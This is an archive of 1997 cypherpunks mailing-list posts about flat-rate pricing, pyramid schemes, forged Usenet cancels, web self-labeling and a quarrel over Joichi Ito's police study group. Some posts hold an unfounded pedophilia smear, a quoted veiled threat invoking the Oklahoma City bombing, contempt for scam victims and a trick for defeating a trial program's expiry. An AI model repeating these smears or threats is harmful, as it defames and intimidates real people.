> That's interesting, and probably true, but still bandwidth is limited,
> see.  It is entirely possible for some idiots to consume vastly more
> than their share of the shared pipe.
> 
> Probably what you're saying is that you like a lot of other "power
> users" myself included use more bandwidth than the average neophyte.
> So you're in favor of flat charges because it represents a good deal
> for you.
> 
> Get me on a T1 and I use it, man.  Hmm, I'll just upgrade to gcc 2.7.x
> (10 megs later) and then I'll upgrade the OS (another 50 megs later),
> and so the day gos on.  Bandwidth hog.
> 
> Sitting on the end of this pay per second 28.8k PPP line really cramps
> my style :-) I've started buying linux CD sets, and upgrading OS less
> frequently.  I'm still on X32a (for linux people) even though it's
> expired and tried to disable it's self, I've hacked around the
> disablement (set the clock back 2 months for a couple of seconds while
> it's starting, and then forward again part way through seems to fix
> it) because I don't fancy the cost of 10 megs at 28.8k, nor the
> hassle.
> 
> Now I would be pretty happy to spend $500 - $1500 a year for a 64k
> leased line, or at least for a flat rate phone bill.  But nooo you
> can't get that in the UK.  You're looking at more like $10k once
> you've factored in leased line + bandwidth leasing.


Bill G wrote that the payment for (non-toll) roads is flat. This
isn't quite true. You see, the more you use a road, the more gasoline
you use up. When you buy gasoline, a very substantial portion of its
price are the taxes imposed by varous gubmint entities. A "toll-free"
road still brings revenues when it's used - the more traffic, the more
gas is burned, the more gas is bought, the more tax is paid. The funds
raised from gasoline taxes are supposed to be earmarked for highway
repairs and new construction.  Thus, the gubmint taxes you for every
mile you drive. Owners with less "fuel-efficient" cars are taxed more
heavily. All miles are equal, whether you drive on an interstate or
around your own backyard.  Tolls come in when the gubmint wants to
make a certain mile "more equal" than the other miles. E.g. in New
York City it costs $7 to cross the Verazzano bridge from Brooklyn
to Staten Island, but if you live on Staten Island, you can get a
discount. (By the way, this toll is used to subsidize the subway, 
which doesn't even go to Staten Island.)

Of course the U.S. highway infrastructure isn't getting adequate
maintenance anyway and is failing at an increasing rate.

The New York City subways/buses are an example of a true flat rate. 
Last months the system changed so that if you use a little plastic
card to pay your fare instead of the traditional token, you can
change for free between buses and subways.  Thus, someone who lives
and works in Manhattan and takes a subway for 1 or 2 stops pays the
same $1.50 as someone who takes the subway from Manhattan to the
outskirts of Queens and then changes to a bus. The argument is that
once the infrastructure is in place, the incremental cost of carrying
one more passenger doesn't depend much on how far he's going. The
real reason is that the users who benefit from this fare structure
are much more likely to vote Republican than the users who
subsidize them. :-) And NYC subways are still in a much worse shape
than the public transportation in cities where the fare depends on
the length of the trip (like Washington, DC, or London) or is
artificially low and can't cover the costs (like Moscow).

I might as well remind those still reading this rant that the reason
why NYC subways fell into such disrepair was political. When 3 private
companies built competing underground railroad systems in NYC in late
19th/early 20th century, they each charged a flat 5c for a ride and
had sufficient revenue for maintenance, new construction, and dividends
to the investors. Unfortunately, USD like any other currency is
subject to inflation. When the 3 companies tried to raise their fares
to match their rising costs, the New York City and State politicians
didn't let them. To keep the subway fare at 5c was the standard
promise of every politician running for NYC mayor in the first half
of the century. The subway companies were forced to operate at a loss
and were happy to turn over their trains to the Metropolitan
Transportation Authority - a piece of gubmint controlled by New York
State. Now that the gubmint owns the subways, the fares have been
rising much faster than the inflation. (I remember when the subway
cost 50c on a weekday, 25c on a weekend.) However the years of
neglect (blamed on the lack of capital) have left the subways in
a much worse shape, and the repairs are likely to cost more than
regular maintenance would have. (Just like the U.S. highway
infrastructure.)

And the cost of collecting the fares is a substantial one. (This is
also the case with long distance telephone calls - I believe that
flat-rate service, not wasting any resources on keeping track how
long a particular user has used a circuit, will prevail eventually.)
E.g. the MTA just spent close to $1B on installing new turnstiles
with card readers. Most users of New York City subways already pay
a special city income tax (not that I like it). Wouldn't it be more
"efficient" to make the subways "free", and to collect the funds
for running the subways from the "general" city and state taxes?
(Using taxes is the socialist solution; letting a private company
charge a flat fee for unlimited usage, if it so chooses, is the
efficient free market solution.)

Now on the subject of snail mail: someone asked why USPS is in the
business of censoring content (e.g. pyramid schemes). USPS has been
in this business for a long time. It refuses to deliver "obscene"
content, and in the past refused to deliver "birth control"
information (to a consenting recipient) judging it to be obscene.
Not too long ago USPS used to raid "competing" services, such
as FedEx, examine the contents of the letters, judge that they
weren't sufficiently "urgent" and should have sent via 1st class
mail (USPS's gubmint-granted monopoly), and harrass the sender
and the recipient. Not too long ago USPS seriously proposed
charging 1st class postage any time a fax machine was used.

Is USPS's postage "flat"? Obviously, they charge per piece of mail.
However is costs the same 32c to smail a first-class envelope under
a certain weight from Queens to Brooklyn or to Hawaii. Obviously, it
takes much more effort to deliver such a letter to HI than to Brooklyn.
The European tradition was to charge according to the distance the
letter was supposed to travel. I recall reading that in late 19th
century USPS simply did not deliver to rural areas - the farmer was
supposed to travel to his nearest post office to collect the mail.
There was a political battle in U.S. Congress, with "free rural
delivery" being the slogan of the politicians representing the
states with a lot of farmers, while the ones from the more urban
states did not want their contituents to subsidize the obviously
expensive rural delivery. Eventually the farmers won, resulting
in the birth of "mail order" industry - companies mass-mailing
catalogs and delivering good by mail (such as Sears), who were
in fact subsidized by the city dwellers who had to pay the same
postage to deliver a package across town than Sears paid to
deliver its catalog across the Great Plains.

It costs USPS much more to deliver an envelope with a handwritten
address than one with an OCR-readable address. That's why the senders
of "junk mail" (pre-sorted, with OCR-ready labels) are said to
subsidize the senders who scribble something on an envelope - even
though the "bulk" postage is less than "first class". USPS has
been talking about various schemes so people who mail a single
envelope with an OCR-ready address would get a smaller postage
hike than the "scribblers".

I'm not sure what all this means in terms of flat vs. metered
Internet fees, so in closing I'll rant about the pyramid schemes,
"airplane games", "earn money stuffing envelopes" scams, et al.
No gubmint should be in the business of declaring them to be
"illegal" any more than they should be declaring pornography, 
bomb-making  recipes, religious propaganda, or crypto programs
to be "illegal". 

You may recall that the first wide-known pyramid scheme was run
buy a chap named Ponzi in Boston. He collected money from 
"investors", and said he expected to pay back a handsome return
based on some "postal orders" business. He did in fact pay the
promised returns to the early invesors using the funds collected
from the later investors, until the rate at which he had to
pay out the old investors exceeded the rate at which he was
getting new investors. Ponzi was arrested, convicted of "fraud"
(because he was claiming that the returns came from "postal
orders" when in fact they didn't), spend a brief time in jail,
then moved to Florida where he made lots of money on the real
easte boom.

A similar scheme in Russia by an organizaton called "MMM", run 
by the Mavrodi bothers, left a large number of "investors"
holding the bag. Interestingly, one of the Mavrodi brothers
is now in Russian jail (awaiting trial), and the other one is
still running a pyramid scheme: he accepts "voluntary donations"
from an investor, in return for a "voluntary donation" at a later
date whose amount and time are not guaranteed and depend on
the "donations" collected from others. The Russian government
does not shut down Mavrodi's latest operation so far, claiming
it's not "fraud" since he doesn't misrepresent the source of
his returns nor the risks involved. Reportedly so far he's
getting oodles of investors and pretty good returns. Eventually
of course his scheme will collapse, but the "investors" who
got in and out early enough will have made good money.

A similar scheme recently brought down the government of Albania.
Reportedly the investors who got in late in the game and didn't
get the returns they expected (or actually lost their investments)
demanded that the gubmint reimburse them for their losses (by
taxing the money from the more intelligent Albanians). When
the idiots want the gubmint to protect them from their own
idiocy, the gubmint happily uses this excuse to screw not only
those who would fleece the idiots, but everyone.

The obvious moral of this extra-long rant is that gubmint of any
kind is a root of all evil and Kent Crispin sounds like a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 5 Aug 1997 01:38:06 +0800
To: cypherpunks@toad.com
Subject: "The Big Sellout," on self-labeling, from Time
Message-ID: <v03007803b00bbd4e4683@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Netly is running Josh Quittner's column in this week's
Time Magazine as our story today. It's about the perils
of self-labeling systems for the Net, especially for
news organizations. Stop by and check it out.

Also, on p48-49 of this week's magazine is a look at
censorware programs and public libraries. It's called
"Censor's Sensibility: Are Web filters valuable
watchdogs or just new online thought police?" Bruce van
Voorst and I worked on the story from the Washington
bureau. (It's not on pathfinder.com yet, so you'll have
to pick up a physical copy.)

Also, stop by our Netpolitics chat area where we're
discussing self-labeling and censorware:

  http://cgi.pathfinder.com:80/cgi-bin/boards/read/206/9

-Declan

---

http://pathfinder.com/netly/opinion/0,1042,1247,00.html

The Netly News Network (http://netlynews.com/)
August 4, 1997

The Big Sellout
by Joshua Quittner (quittner@pathfinder.com)

     The greatest threat to free speech these days is
coming from the most unlikely quarter: journalists.
It's happening - where else? - on the Net. A
self-appointed council of "industry representatives,"
including people from the Wall Street Journal, the
Newspaper Association of America, CNET, Wired and - no
surprise! - Microsoft, is debating whether the online
world might be a safer, happier place if a
subcommittee of the council decides what's news and
what's not. Anything deemed "not news" would be forced
to submit to a rating system or risk being blocked by
software browsers. And being blocked on the Web could
mean extinction for small, independent-minded online
publishers - the very folks who have benefited most
from the Internet revolution. The whole thing reeks of
the powerful beating up on the weak.

     The roots of the betrayal go back to June 1996,
when the notion of rating Web content first took off.
That was when Microsoft forced its myriad web sites to
adopt a system that analyzes content according to the
degree to which it contains sex, nudity, violence or
obscene language. The official reason for this was to
make the Net a "safe place" without government
censorship - which made sense, I guess, given that the
Supreme Court had not yet ruled the Communications
Decency Act unconstitutional.

     It also made good business sense for Microsoft to
adopt an idea that adds value to one of its key
products, the Internet Explorer. Explorer is the
second-most popular browser on the Web; a software
component that gives parents the option to filter out
the naughty bits is a big selling point. But what's
good business for the software industry is nonsense
for journalism - as the folks who run Microsoft's news
web site quickly realized.

[...]



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 4 Aug 1997 13:48:40 +0800
To: cypherpunks@cyberpass.net
Subject: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040542.OAA12229@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



OK. I give up. I think DreamMonger's last comment about at least sort of
believing in my intentions is about the best it will get for me here.
Tim, you're in my killfile now too so I'm not going to respond directly to
your
comments.

Now at least when I am going through the meatgrinder, I won't know if it is
a cypherpunk or a Japanese fascist who's sending me through.

At 05:46 97/08/04 +0200, Anonymous wrote:
>   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> that some surgeons are less skilled than others, and that there is a
> risk in remaining too long in close proximity with cancerous tissue.

Some Japanese conservatives probably think *I* am the cancerous tissue that
their people shouldn't hang out with...

- Joi

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:30:32 +0800
To: cypherpunks@toad.com
Subject: Re: Eternity Content Suggestions
In-Reply-To: <Pine.LNX.3.91.970804151603.350B-100000@fatmans.demon.co.uk>
Message-ID: <T8eXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Favorite Cypherpunks Cryptographic Links, including helpful offshore
> > source code archives, and a pointer to the Cyphernomicon.
> 
> Yes, actually posting some crypto code to the eternity archive would be a 
> good way to export it, I know it`s big but how about the whole platform 
> independent source to PGP v5.0 as a plaintext document.
> 
> Oh, and how about some $cientology "copyrighted" documents.

I said back when theprototype Eternity server was announced that this was
a very important development; I'm glad that it's moving forward.

I'd like to nominate another candidate for the eternity server.

As some folks on this list may be aware, the Spanish government has been
trying to censor the basque nationalist web site with a limited degree of
success.

A week or so ago the basques exploded a bomb killing one person. The
Spanish gubmint publicly demanded that CNN remove the link from its
Web site to the Basque site, calling them terrorists. The CNN declined
and this victory for free speech was touted al over the Internet.

What didn't seem to get much coverage is the fact that the basque site
was hosted by the Institute for Global Communications.  I remember ICG
from the days I was helping bring the Internet to Eastern Europe. They're
well-meaning folks, but very cowardly and not too technically sophisticted.
The Spanish government organized a mailbombing campaign against them, 
similar to the campaigns against the "spammers". (It sounded to me like
both mailbombs and ping storms were involved, all coming from numerous
sites in .es.) Last week ICG bent over and announced that they're
pulling the plug on the Basque site.

This act of government-sponsored net.terrorism and content censorship must
not go unpunished, but the first step is to ensure that the Basque site
is up and running. I sugggest putting it on the Eternity server, and
mirroring it on any other servers that are willing to put up with the
blackmail and denial-of-service attacks from the net.terrorists organized
by the Spanish government.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 02:15:21 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970804014714.120A-100000@shirley>
Message-ID: <Pine.LNX.3.91.970804151234.350A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > > posts into usenet you don't wish them to be removed from usenet?
> > 
> > That would be for Dimitri to decide for himself, and not for some 
> > cocksucker to take a unilateral decision on.
> 
> I have made no such unilateral decision,  I have simply asked a question
> of the good Doctor.

Quite so, maybe this was phrased in such a way as it looked insulting to 
you, it wasn`t intended to be so, merely a general swipe at cancel-forgers.

> > Of course disabling cancels on all news-servers would mean such a freak
> > article couldn`t be cancelled, even by it`s author, 
> 
> Wouldn't authentercated cancel models be better so an artical could be
> cancelled by its author and no other.

This would be a good idea, which I thought about when I posted the 
article, but it`s probably too much to expect all the news-admins of the 
major sites to keep up to date with their s/w and for the s/w authors to 
write in such functionality, just turning of cancels is easier. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 03:09:45 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Eternity Content Suggestions
In-Reply-To: <19970803231431.4542.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.91.970804151603.350B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Favorite Cypherpunks Cryptographic Links, including helpful offshore
> source code archives, and a pointer to the Cyphernomicon.

Yes, actually posting some crypto code to the eternity archive would be a 
good way to export it, I know it`s big but how about the whole platform 
independent source to PGP v5.0 as a plaintext document.

Oh, and how about some $cientology "copyrighted" documents.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 5 Aug 1997 02:13:30 +0800
To: cypherpunks@Algebra.COM
Subject: Humor: Extracts from the News of the Weird mail list
Message-ID: <Pine.LNX.3.91.970804153135.350C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




* In March, armed with evidence that a drug dealer had been killed
with a single gunshot during a robbery by two men, Torrance,
Calif., district attorney Todd D. Rubenstein obtained separate jury
convictions of both men for firing the fatal shot.  Both robbers' guns
had fired, but one missed, and a conclusion as to which one could
not be drawn from ballistics tests.  Rubenstein asserted confidently
to one jury that Stephen Edmond Davis, 19, shot the man, and just
as confidently to the other jury that it wasn't Davis, but rather John
Patrick Winkleman, 19.

* Former Prestonburg, Ky., school board member Wood R.
Keesee, 59, filed a lawsuit in May against a female court clerk to
whom he had allegedly loaned money in 1996.  Under the terms of
the $1,800 loan, according to Keesee, she was to have 18 sexual
encounters with him, but when she stopped after three, he filed the
lawsuit. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:56 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311751.MAA21324@mailhub.amaranth.com>
Message-ID: <P6gXae5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> Well the ISP may have 200 customer for the T1 line but they woun't have
> 200 dial up lines per T1 (at least not one that wishes to stay in business
> long). Now how many dial-up lines per T1 a ISP will have will depend on
> the traffic analysis for his customer base. There is nothing wrong with
> oversubscribing his bandwith because he knows that all his cutomers will
> not be on-line all the time using 100% of their 28.8 dial-up bandwith.
> What an ISP does have to provide for is enough bandwith to be able to
> handle the amount of dial-ups he has available. If an ISP has 200 dial-up
> lines then he best provide enough T1's to be able to support them.
> 
> The same is true for Access providers. If an access provider is servicing
> 20 T1's then he best have the bandwith to the backbone to provide the
> bandwith that he has sold. He is collecting the $$$ to provide the service
> he is obligated to provide it.

Unfortunately a lot of ISPs - both local and national - have done exactly
that - oversubscribed to the point of defrauding their customers.

A friend of mine subscribed to his local ISP - the usual deal, $19.95/month
for unlimited use.  One day he gets a phone call from the ISP's owner asking
(in a rather irate manner) if he's running 'bots or "keepalive" or why he's
spending so much time tying up the modem.  The friend replied that he's doing 
neither of those things, but he does spend 5 or 6 hours every day browsing
the Web and reading newsgroups.  The ISP owner wasn't happy. Soon the friend
began to experience loss of carrier whenever he was connected via PPP during
the evening. He called up the ISP and asked if he's just dropping his carrier.
The ISP would neither confirm nor deny, but repeated that the friend stays
online "too much". At this point the friend told him to close the account
and moved to a different ISP.

We used to have a shell account at a local ISP who had non-stop problems with
their disks, their news server, their modem pool (ringno-answer, can't busy
out the brokenmodems....) We left them last year; I understand that now their
system has completely broken down and they're blaming it on some mythical
"spammers" rather than their incompetence.

> 
> Now if an access provider does detailed analysis of his traffic and
> determins that he needs only 4 T3's to provide service for 20 T1's and
> therefore reduces his costs that's fine. But if one of his T1 customers
> traffic increases he is obligated to add more bandwith on his end to
> handle it.
> 
> This is what the whole bandwith issue comes down to. ISP & Access
> providers atempting to maximise profits for given resources. This doesn't
> nullify their obligations to their customers. If they sell T1 bandwith
> 24/7 to their customers then they are required to provide that service if
> their customers demand it. The current movement to blaim users for using
> the resources that they have been sold is wrong. It is no different that
> if a car dealer sells you a 100,000 mile warrenty on a car then renigs on
> the contract because he really didn't expect you to drive 100,000 miles
> with it.

Ah but they have a great excuse - the mythical "spammers".  We really meant 
to service a 300-modem pool through this T1, but the spammers stopped us from
doing that.  Reminds me how the Soviets in 1930s blamed all possible problems
(and there were lots of real problems) on "saboteurs", and how the Nazis in
the same time frame blamed all of their (real) problems on Jews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:35:47 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: <5wHXae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

> At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
> >"Make Money Fast" are killed because they're illegal scams in the US and I 
> >think in most of the world.

This doesn't give the various net.scum any right to forge cancels for them.
(I used to forge cancels for MMFs years ago - I was very wrong.)

But this is not the only kind of content censorship going on under the guise
of 'spam cancels".  Check out the Net.Scum Web site.  One guy decided to cancel
an entire thread discussing the requirements for setting up a MUD server
claiming it was "spam".  Another forged a cancel for a national Science
Foundation announcement in sci.fractals figuring it was off-topic, therefore
"spam".  It takes a special kind of asshole to take up "spam-cancelling"
and most of them don't stop at cancelling just the "multi-posted" articles -
they quickly diversify into foring purely content-based cancels.

> 
> They're illegal in the US primarily because the Post Office is confused
> about whether its job is to deliver the mail or to censor it,
> and delivery of MMFs by mail is policed by Postal Inspectors just as
> delivery of obscenity by mail is.  It's a side effect of having services
> provided by a government monopoly rather than the free market,
> though I'm sure that to some extent it's because people started 
> complaining to the Post Office that they were receiving junk mail,
> and complaining to their legislators that they lost money on these scams.
> 
> On the Internet, on the other hand, not only is the stuff spam and a scam,
> but it's abusing flat-rate prices for service, and service providers
> don't like it.  Julf's remailer used to block MMFs.

MMFs are one example of a "memetic" article which encourages the readers to
reproduce it and post it elsewhere.  Does anyone remember the Craig Shergold
meme?  When I worked at GS, I came across a paper copy of it - a bunch of
p.r. and salespople were faxing it to one another and asking for business
cards to be sent to it.  The idiot sysadmins at a school I taight at put
the craig Shergold appeal in the message-od-the-day on the school computer.
> 
> Pyramid scams like the MMF, and the government's inability to deal with it,
> brought down the Albanian government recently.  Here in the US that would
> _never_ happen (:-), assuming of course you don't consider Social Security
> to be a Ponzi scheme....

This reminds me of the old farts who lost lots of money in the mini-crash in
Oct 87.  Basically, they sold insurance to other investors against the maret
suddenly going down a lot (which is a low-probability event, but can happpen and
I think will happen again any day now :-)  They were collecting their equivalent
of insurance premiums. When the market did hucckup and they had to pay what
they promised they would, they started screaming that they weren't warned
adequately that their income wasn't "risk-free" and they might actually have
to perform their part of the contract they entered!

Why should the gubmint protect people from pyramid schemes and other such scams?
("make money at home stuffing envelopes" seems to be a related scam that's
very popular and not "illegal".)  Any time a sucker tries to beat the market,a
xtto get more than the normal return without incurring extra risk, he
deserves to be fucked.  Gubmint's attempts to "protect" the sucker limit
the freedom not of the crooks who'd fleece him (they'll find a way), but
the regular people who are neither crooks not suckers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 5 Aug 1997 07:53:59 +0800
To: cypherpunks@toad.com
Subject: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <199708042336.QAA00471@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have any idea whether Clinton's threat of using the
line-item veto against portions of the big spending bill could
be leverage against some pro-SAFE legislators?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:34:48 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <199708011508.KAA04749@raid2.fddi.phoenix.net>
Message-ID: <icJXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



wireinfo <wireinfo@phoenix.net> writes:

> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> >
> >> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> >> 
> >> > Nno one is arugeing that.  Both sides in this debait aggry that that is 
> >> > REAL BAD thing.  Spam cancelers use an objective rules.
> >
> >[...]
> 
> You're not very bright are you David?

In my humble opinion David is pretty bright.  Unfortunately he's misguided
about certain things.  I think the extreme aversion to censorship (like that
displayed by imp and myself) seldom arises in people who haven't themselves
been victims of censorship (plug-pulling or forged cancels, not 'censored thro
being drowned up by the dissenting opinions" "-)

> 
> 
> >> Let me clarify two things:
> >> 
> >> 1. "Spam cancellers" are not generally news admins.
> >
> >I think you will have to justerfy this,  the top spam cancellers are all
> >news adimns.
> 
> Aer nto.

The current top "spam canceller", Rich Bland ("cosmo") is an admin of a tiny
little BBS in California - probably fewer users than mine. The previous top
"spam canceller" - Rick Buchanan - was just a user, whose actions were condonded
by the admins of the several systems he used to forge cancels. (He only had
his plug pulled by one ISp I know of.)

Most of the people who scream about their "hatred of spam" on news.* are not
admins, but fairly recent users who figure that "fighting spam" is a cool thing.

Thing is hardly relevant - anyone can easily set up their own site and become
its admins.  I was just pointing out that it's factually incorrect to use
"admins" as a synonym for "anti-spammers".  Many admins are pro-free speech.
> 
> >> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> >> s/he often diversifies into "retromodetration"
> >
> >There is little proof that this is the case.  Even the netscum case could
> >have been considered spam.
> 
> What the fuck is "the netscum case"?

I think David is referring to the recent case of content-based cancels forged
by Chris Lewis for severa articles whose only thing in common was the mention
of Chris lewis's Net.Scum page.  

This is just one of dozens of such examples.  Chris Lewis and Dave Barr obth
forge cancels for usenet articles that follow up on their articles and quote
them, claiming "copyright violations".  Interestingly, Dave Barr is one of the
moderators of news.admin.net-abuse.announce.  When that newsgroup was up for
a vote, its charter said (don't know why) that its moderators aren't supposed
to issue third party cancels.  So much for moderated newsgrou charters. :-)

> 
> >
> >[...]
> >
> >> > Not even forgeries in my name?  Not even out of the control spews from
> >> > fidonet?
> >> 
> >> Correct.
> >
> >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> >posts into usenet you don't wish them to be removed from usenet?
> 
> The motherfucker can remove them himself, send him a note. But after 
> they've already hit our servers and we've already read them it doesn't 
> make much of a difference now does it? We've got to receive repeated 
> blasts of forged cancels ten times the number of the offending posts?

Once the offending articles are part of the spool on toher site, it's pointless
for me to issue cancels. Note that both have happened: both I and my wife have
been forged numerous times on usenet, and there have been spews from this site.
I don't think that trying to remove them from spool is a proper thing to do
whether or not my site ogirinated them.  I do think it's polite to try to
let people know that these articles are forged/obsolete/posted in error and
should be ignored.  That was the original purpose of the cancel control
articles in RFC 1036 - I post a "car for sale" ad, I sell the car, I don't
want to get any more replies, I cancel it. Problem is, the cancels in RFC
1036 were unauthenticated - relied on honor, and too many people on Usenet
have no honor are aere eager to forge other people's e-mail addresses on
their cancels.

As I discussed with David in private mail, a "retraction server" that would
announce forgeries, spews, etc would be a useful thing.
> 
> You're really not very bright are you David?

Just misguided.  
> 
> >Nor if I post a message with your name and email, saying "Chris Lewis the
> >best thing that happened to usenet and I wish to have his baby."
> 
> A simple "I didn't write that" shall suffice.

I recall how a couple of years ago Peter Vorobiev forged a bunch of articles
in my name all over Usenet, and I posted an announcement to that effect
on news.admin.net-abuse.misc, and got some very obnoxious e-mail from Tim
Skirvin saying it's off-topic.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Mon, 4 Aug 1997 16:17:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040810.RAA13649@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:42 97/08/04 EST, TruthMonger wrote:

>   Sure, quit before we even have a chance to use the cheap shots we've
> thought up since our last posts. Spoilsport.

> > Tim, you're in my killfile now too so I'm not going to respond directly to
> > your comments.
> 
>   Me neither. I'm going to use email.

OK. I was trying to not-so-elegantly back out of the big hole I dug for
myself.
To be completely honest, I am fascinated (I don't know if this is the right
word
here...) by this discussion and if we were f-t-f I would probably still be
engaged
but I find Tim's arguments too deep to write off, but I find myself without
enough
time right now to engage with my full attention...and if I don't give this my
full
attention, I'm sure I'll lose... so, I gave up... for now. I'll formulate my
thoughts
and next time, I'll think before I write. Maybe I'll wait for a chance to take
a
stab at Tim later on.


At 00:44 97/08/04 -0500, Jim Choate wrote:
> Forwarded message:
> 
> > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > From: Tim May <tcmay@got.net>
> > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> > Any journalist in Europe or in the U.S. would be seen as having
irreparably
> > compromised his journalistic objectivity by serving on such a panel! And
> > properly so, of course.
> 
> As long as they were representing their personal opinions and not acting as
> a journalist (ie being paid by a 3rd party) and they disclose the action
> there would be compromise on objectivity.

Jim, I hope you meant to say "wound not be compromising" in the above
statement.
This may sound like an afterthought, but one of the reasons that I did
such a stupid thing as post my association with a police study group 
here was as a part of being very open about what I was doing and
trying to ask for advice on that basis. Also, FYI, I am not being paid
by the government or any 3rd party. I am not a "consultant" to the
government. I am an "outside expert". I am not representing the police
to the people of Japan, I am trying represent the peoples' interest to
the government... but I'll stop now before I get bashed again.

- Joi



--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
